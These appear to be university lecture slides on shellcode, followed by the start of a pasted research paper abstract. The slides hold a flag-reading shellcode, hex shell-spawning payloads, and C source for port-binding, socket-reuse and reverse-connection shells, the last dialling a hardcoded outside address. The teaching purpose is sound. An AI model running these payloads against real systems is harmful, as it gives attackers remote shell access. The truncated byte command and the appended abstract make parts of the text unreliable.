

# **NEU CY 5770 Software Vulnerabilities and Security**

Instructor: Dr. Ziming Zhao

# Today's Agenda

1. What else can shellcode do?
  2. Injectable shellcode
    - a. Non-zero shellcode
    - b. Non-printable, non-alphanumeric shellcode
    - c. English shellcode
    - d. DNA shellcode

# **Local Shellcode**

# Non-shell Local Shellcode 32bit printflag (without 0s)

sendfile(1, open("/flag", 0), 0, 1000)

```
8049000: 6a 67      push  0x67
8049002: 68 2f 66 6c 61    push  0x616c662f
8049007: 31 c0      xor   eax,eax
8049009: b0 05      mov   al,0x5
804900b: 89 e3      mov   ebx,esp
804900d: 31 c9      xor   ecx,ecx
804900f: 31 d2      xor   edx,edx
8049011: cd 80      int   0x80
8049013: 89 c1      mov   ecx,eax
8049015: 31 c0      xor   eax,eax
8049017: b0 64      mov   al,0x64
8049019: 89 c6      mov   esi,eax
804901b: 31 c0      xor   eax,eax
804901d: b0 bb      mov   al,0xbb
804901f: 31 db      xor   ebx,ebx
8049021: b3 01      mov   bl,0x1
8049023: 31 d2      xor   edx,edx
8049025: cd 80      int   0x80
8049027: 31 c0      xor   eax,eax
8049029: b0 01      mov   al,0x1
804902b: 31 db      xor   ebx,ebx
804902d: cd 80      int   0x80
```

Command:

```

6\x0f\x05\x48\x89\xc6\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x3
1\xd2\x41\xb2\xc8\xb0\x28\x0f\x05\xb0\x3c\x0f\x05") >
/tmp/exploit
```

```
./program < /tmp/exploit
```

# **Remote Shellcode**

# Remote Shellcode 1: Port-Binding

```
int new_sock, sockfd = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(12345);

bind(sockfd, (struct sockaddr *)&sin, sizeof(sin));
listen(sockfd, 5);

new_sock = accept(sockfd, NULL, 0);

for (int i = 2; i >= 0; i--)
    dup2(new_sock, i);

execl("/bin/sh", "sh", NULL);
```

- New\_sock and sockfd are file descriptors
- Listen on port 12345
- int listen(int sockfd, int backlog);
  - A socket is used to accept incoming connection requests. The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow.
- accept();
  - It creates a new connected socket, and returns a new file descriptor referring to that socket.

# Remote Shellcode 1: Port-Binding

```
int new_sock, sockfd = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(12345);

bind(sockfd, (struct sockaddr *)&sin, sizeof(sin));
listen(sockfd, 5);

new_sock = accept(sockfd, NULL, 0);

for (int i = 2; i >= 0; i--)
    dup2(new_sock, i);

execl("/bin/sh", "sh", NULL);
```

- dup2(int oldfd, int newfd);
  - Duplicate file descriptor. It uses the file descriptor number specified in newfd.
- As a result, /bin/sh takes inputs from the socket instead of the terminal

# Remote Shellcode 1: Port-Binding

An example:

```
char shellcode[] =  
    "\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2"  
    "\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x11\x5c"  
    "\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05"  
    "\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89"  
    "\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f"  
    "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21"  
    "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"  
    "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89"  
    "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05";
```

# Remote Shellcode 2: Socket Descriptor Reuse

```
int i, j;
struct sockaddr_in sin;
j = sizeof(struct sockaddr_in);

for (i = 0; i < 256; i++) {
    if (getpeername(i, (struct sockaddr *)&sin, &j) < 0)
        continue;
    if (sin.sin_port == htons(port))
        break;
}

for (j = 0; j < 2; j++)
    dup2(j, i);

execl("/bin/sh", "sh", NULL);
```

- `getpeername()` returns the address of the peer connected to the socket `sockfd`, in the buffer pointed to by `addr`.

# Remote Shellcode 3: Reverse Connection Shellcode

```
int soc, rc;
struct sockaddr_in serv_addr;

serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = 0x210c060a;
serv_addr.sin_port = htons(43690);

soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
rc = connect(soc, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

dup2(soc, 0); // Duplicate socket descriptor to stdin
dup2(soc, 1); // Duplicate socket descriptor to stdout
dup2(soc, 2); // Duplicate socket descriptor to stderr

execve("/bin/sh", NULL, NULL); // Execute shell
```

### ABSTRACT

History indicates that the security community commonly takes a divide-and-conquer approach to battling malware threats: identify the essential and inalienable components of an attack, then develop detection and prevention techniques that directly target one or more of the essential components. This abstraction is evident in much of the literature for buffer overflow attacks including, for instance, stack protection and NOP sled detection. It comes as no surprise then that we approach shellcode detection and prevention in a similar fashion. However, the common belief that com-

### General Terms

Security, Experimentation

### Keywords

Shellcode, Natural Language, Network Emulation

### 1. INTRODUCTION

Code-injection attacks are perhaps one of the most common attacks on modern computer systems. These attacks
